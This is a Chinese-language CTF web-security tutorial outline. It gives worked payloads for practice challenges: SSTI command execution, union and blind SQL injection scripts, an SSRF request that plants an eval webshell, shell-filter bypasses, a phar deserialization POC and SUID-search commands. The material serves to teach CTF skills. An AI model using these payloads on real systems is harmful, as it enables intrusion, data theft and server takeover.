Web基础(暂定,持续更新)

每个知识点后面都会附带若干例题进行讲解,覆盖基础到综合

刷题网站

https://www.polarctf.com/#/page/challenges POLAR靶场

题库 | NSSCTF NSS

BUUCTF在线评测 BUU

攻防世界 攻防世界

登录 春秋云镜(Web渗透)

CTFHub CTFhub

….

常用工具

maurosoria/dirsearch: Web path scanner Dirsearch目录扫描工具

[https://github.com/AntSwordProject/] 蚁剑

Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF Fenjing

Windows版phpstudy下载 - 小皮面板(phpstudy) Phpstudy (用来展示运行php代码的结果)

发布 ·记事本加加/记事本加加 NotePad++

….

源码查看

基本查看+各个浏览器的快捷键(视情况可略过)

控制台+游戏

前端JS改变量值和JS部分审计(主要是CTF前端游戏部分)(结合最近五一的mini-LCTF)

Mini L-CTF 2025 - 西电 CTF 终端 GuessOneGuess Miniup

HTTP

改浏览器信息+改本地地址+改地址+VPN+POST/GET…..(视情况可略过)

image-20250512100340274

image-20250512100414377

image-20250512100427182

[GDOUCTF 2023]EZ WEB | NSSCTF PUT

[MoeCTF 2021]Do you know HTTP | NSSCTF

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of HTTP)

正则

介绍常见的正则表达式与语法

EasyPHP

例题为主

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of PHP)

MD5比较:

1
2
3
4
5
s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

数组可以绕过正则匹配

extract覆盖漏洞

数组也可以绕过strcmp比较

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!C!E!)

主要是一个md5的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

prefix = "c4d038" # 目标MD5值的前六位
prefix_bytes = prefix.encode() # 将前缀转换为字节串

for i in range(100000000):
b = i.to_bytes(22, 'big')
m = hashlib.md5(str(i).encode()).hexdigest()

if m.startswith(prefix):
print(i)
print(m)
break

[ 绕过 _

PHP伪协议

img

data 伪协议 格式:
data://[<MIME-type>][;charset=][;base64],<data>

  • MIME-type:指定数据的类型,默认是 text/plain。
  • charset:指定数据的编码类型,如 utf-8。
  • base64:如果使用 Base64 编码,则加上该标识。
  • data:实际的数据内容。

text/plain 的具体含义

text/plain MIME 类型:

  1. 表示数据是普通文本文件,没有任何特定的格式或编码。
  2. 在 PHP 的文件包含漏洞中,当使用 data://text/plain 时,PHP 会将数据视为纯文本进行读取。
  3. 但是,如果该文本数据本身是 PHP 代码(如 <?php system('ls'); ?>),且它被 include()、require() 等函数加载,那么它会被当作 PHP 代码解析和执行。

data://text/plain 的实际作用

在 LFI 漏洞中使用 data://text/plain 可以让我们通过 URL 注入 PHP 代码,并且这些代码会在服务器端执行。

示例:执行系统命令

URL:

?file=data://text/plain,<?php system('ls'); ?>

解释:

  • data:// 告诉 PHP 加载内联数据。
  • text/plain 表示数据是纯文本类型,但在通过 include() 加载时,PHP 会解析文本中的代码片段(如 <?php system('ls'); ?>),并将其执行。

文件包含

include和file_get_content

文件上传

[CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客](https://blog.csdn.net/qq_65165505/article/details/141370798#:~:text=在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。,将一个正常显示的图片,上传到服务器。 寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。)

(1)普通php/phtml文件上传

(2)通过burpsuite拦截抓包更改后缀

攻防世界

就是个简单的拦截改成后缀为php

(3)通过.htaccess或者user.ini进行文件上传

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Upload again!) 运用.htaccess

(4)通过文件名传马

[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 总决赛 Day2 Web1]Easyweb)

SSTI

分为 原理+基础+综合绕过

(1)原理

CTF web漏洞合集 Python篇(1)python中的SSTI - LamentXU - 博客园

(2)基础

RUST下的SSTI

1
{%set my_var = get_env(name="FLAG") %}{{my_var}}

[HNCTF 2022 WEEK2]ez_SSTI | NSSCTF

参数是name,测试得出模板是jinja2

{{''.__class__.__bases__[0].__subclasses__()}}

用这个找到os._wrap_close类。定位到了137

然后

1
{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__}}

查找用没有popen函数

发现有

则payload:

1
?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

(3)综合绕过

攻防世界 Web_python_template_injection

{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{{[].__class__.__base__.__subclasses__()[138].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('tac f14g').read()")}}

SQL

判断字段数:

  • order by

information_schema数据库

  • schemata: 保存当前整个服务器所有的数据库信息 库名
  • tables: 保存当前整个服务器所有的数据表的信息 表名 table_name
  • columns: 保存当前整个服务器所有的字段信息 字段名
  • group_concat: 去重

(1)联合查询

攻防世界 NewsCenter

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()#

//news secret_table

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'secret_table'#

//id f14g

1' union select 1,2,group_concat(fl4g) from secret_table#

// QCTF{sq1_inJec7ion_ezzz}

[BUUCTF在线评测](https://buuoj.cn/challenges#[极客大挑战 2019]BabySQL) Baby SQL(双写绕过)

试列数:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23(这个URL编码是#)

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23

爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

PS: (双写绕过)

因为在过滤过程中只进行了一次替换。就是将关键字替换为对应的空。

比如 union在程序员处理时被替换为空,那需要我们可以尝试把union改写为 ununionion ,这样红色部分替换为空,则剩下的依然为union还可以结合大小写过滤一起使用

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]ez_sql) EZ_sql(大小写绕过)

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://fb159c83-e932-48ed-88af-dbe07ad17a5a.node5.buuoj.cn:81/?id="


#for i in range(1,100):
#payload = f"TMP0919' Order by {i}%23"
#res = requests.get(url=url + payload)
#print(res.text)
#if("id" not in res.text):
# print(f"i = {i}")
# break

#payload = "1' uNion Select ((sElect gRoUp_cOnCat(TaBle_nAme) From infOrmation_schema.tables WHeRe Table_schema=Database())),2,3,4,5%23"
#payload = "1' uNion Select ((sElect gRoUp_cOnCat(column_name) From infOrmation_schema.columns WHeRe Table_name='here_is_flag')),2,3,4,5%23"
payload = "1' uNion Select ((sElect gRoUp_cOnCat(flag) From here_is_flag)),2,3,4,5%23"
res = requests.get(url + payload)
print(res.text)

(2)时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
url = 'http://eci-2ze6irbn0iiiic2wnub2.cloudeci1.ichunqiu.com/index.html'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
time.sleep(0.2)
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
#把payload里password换成username打username
datas = {
"username":"1",
"password": payload
}
# print(datas)
start_time=time.time()
res = requests.post(url=url,data=datas) #json=data
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=0.4: #这里需要调一下。要先跑几次必会延迟的请求测试一下平均延时。
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
print('\n'+bytes.fromhex(flag).decode('utf-8'))

(3)布尔盲注

[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World)

XXS

(1)存储型

(2)反射型

(3)DOM型

XXE和SSRF

主要是提一下原理和模板

SSRF

[BUUCTF在线评测](https://buuoj.cn/challenges#[HITCON 2017]SSRFme)

1
2
3
4
5
http://c9f6fe87-ec4b-42d3-9b16-a372427cc0a0.node5.buuoj.cn:81/?url=data:text/plain,%27%3C?php%20@eval($_POST[%27capt%27])?%3E%27&filename=upload/test.php


http://c9f6fe87-ec4b-42d3-9b16-a372427cc0a0.node5.buuoj.cn:81/sandbox/50d5f583d8a911dde39156ba3f03c3d5/upload/test.php

蚁剑连接即可

RCE

从简单到难(基础例题示例如下,还会增加难度的)

概念

RCE,即远程代码执行(Remote Code Execution),远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval

(这边插入一个各种绕过.md)

RCE命令注入分类
  • 无过滤
  • 过滤cat
  • 过滤空格
  • 过滤目录分隔符
  • 过滤运算符
  • 综合过滤练习

(1)无过滤简单命令拼接

CTFHUB

CTFHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}

?>
<?php
if ($res) {
print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

就是个简单的命令拼接(127.0.0.1;ls)

Shell 提供了多种方式来分隔命令,分号就是其中一种。它的作用是告诉 Shell,将分号前后的命令依次执行,而不考虑前一条命令是否执行成功 。例如,在命令 “ping -c 4 127.0.0.1;ls /” 中,Shell 先执行 “ping -c 4 127.0.0.1” 命令,不管这个命令是成功(返回 0)还是失败(返回非 0 值),都会接着执行 “ls /” 命令

  • Enter(换行符)
  • && 前一条命令执行成功(返回值为 0)时,才会执行后一条命令
  • 双管道符(||)前一条命令执行失败(返回值非 0)时,才会执行后一条命令
  • 管道符(|) 将前一条命令的输出作为后一条命令的输入
1
ls / | grep "txt"  # 列出根目录下包含 "txt" 的文件
  • 尖括号( < 和 > )

    特点

  • >:将命令输出重定向到文件(覆盖)。

  • >>:将命令输出追加到文件。

  • <:将文件内容作为命令的输入。

  • E.G:

    1
    2
    ls / > output.txt  # 将 ls 的输出保存到 output.txt
    sort < input.txt # 将 input.txt 的内容作为 sort 的输入

NCTF2024

payload:

127.0.0.1 --eval eval("__import__('os').system('echo$IFS$FLAG>>demo')")

--eval 用于在命令行上直接执行一段脚本代码

…..

…..

(2)过滤命令

ezRCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

八进制绕过

知识点:linux中使用$’xxx’(xxx为字符的八进制)的形式可以执行任意代码

1
$'\154\163' //执行ls

发现可以成功执行

但是八进制的执行方法不能执行带有参数的linux命令,如cat /flag(/flag为参数)或ls -la(-la为参数)

重定向符号可以代替命令中的空格

最终payload

1
$'\143\141\164'<$'\57\146\154\141\147' // cat</flag

[BUUCTF在线评测](https://buuoj.cn/challenges#[红明谷CTF 2021]write_shell) Write_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

payload:

1
?action=upload&data=<?echo%09`ls%09/`?>

因为题目中过滤了php,所以用php短标签来绕过<?= ?>等效于<?echo ?>

1
$_SERVER['REMOTE_ADDR'];

输出访问者的IP地址

(3)回溯限制

[NISACTF 2022]middlerce | NSSCTF

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit : 1000000

当回溯次数超过100万次时,preg_match返回的就是false,表示此次实行失败(超出限制)

所以我们可以通过发送超长字符串来使正则执行失败,绕过对php的限制

1
2
3
4
5
import requests
url = 'http://node4.anna.nssctf.cn:28058/'
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)

(4)无回显RCE(利用http标头)

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!C!!E!!) R!!C!!E!!

目录穿越

主要是../../,但包含php和python的目录穿越

反序列化

(1)php一般反序列化

攻防世界 Web_php_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

(2)php-Pop链

ISCC2025区域赛 想犯大吴疆土吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
// 犯flag.php疆⼟者,盛必击⽽破之!
class GuDingDao {
public $desheng;
public function __construct() {
$this->desheng = array();
}
public function __get($yishi) {
$dingjv = $this->desheng;
$dingjv();
return "下次沙场相⻅, 徐某定不留情";
}
}
class TieSuoLianHuan {
protected $yicheng;
public function append($pojun) {
include($pojun);
}
public function __invoke() {
$this->append($this->yicheng);
}
}
class Jie_Xusheng {
public $sha;
public $jiu;
public function __construct($secret = 'reward.php') {
$this->sha = $secret;
}
public function __toString() {
return $this->jiu->sha;
}

public function __wakeup() {
if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha))
{
echo "你休想偷看吴国机密";
$this->sha = "reward.php";
}
}
}
echo '你什么都没看到?那说明……有东西你没看到<br>';
if (isset($_GET['xusheng'])) {
@unserialize($_GET['xusheng']);
} else {
$a = new Jie_Xusheng;
highlight_file(__FILE__);
}
// 铸下这铁链,江东天险牢不可破!

构造Payload

  1. 设置 TieSuoLianHuanyichengphp://filter/convert.base64-

encode/resource=flag.php (需URL编码)

  1. TieSuoLianHuan 实例赋值给 GuDingDaodesheng
  2. GuDingDao 实例赋值给 Jie_Xusheng (B) 的 jiu 属性
  3. Jie_Xusheng (B) 作为 Jie_Xusheng (A) 的 sha 属性
  4. 序列化对象A,确保属性命名和类名正确。

(3)Phar反序列化

[文件上传与Phar反序列化的摩擦_nssround#4 swpu]1zweb(revenge)-CSDN博客

php -d phar.readonly=0 class5.php(核心出装)

1.ezphar

1

2.bypass

[NSSRound#4 SWPU]1zweb | NSSCTF

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class LoveNss{
public $ljt="Misc";
public $dky="Re";
public $cmd="system('cat /flag');";
}

$a = new LoveNss();

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //自定义的meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算,默认是SHA1
$phar->stopBuffering();
?>

修复签名:(修改了类型数量)

1
2
3
4
5
6
7
8
from hashlib import sha256
with open('phar.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha256(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件

kali自带gzip压缩后更改为白名单后缀上传

访问phar://upload/3.png

(4)Pickle反序列化

反弹shell

主要介绍bash的反弹

SUID提权

1
2
3
find /-user root -perm-4000 -print 2>/dev/null
find /-perm -u=s -type f 2>/dev/null
find /-user root -perm -4000 -exec ls -ldb {}\;

XSleaks

简介+原理(利用条件)+例题

Python原型链污染

原理+例题

例题

Mini L-CTF 2025 - 西电 CTF 终端 Clickclick

Python代码审计综合

主要配合例题讲解(每道例题会综合一下上面部分知识点)

[BUUCTF在线评测](https://buuoj.cn/challenges#[watevrCTF-2019]Pickle Store) Pickle store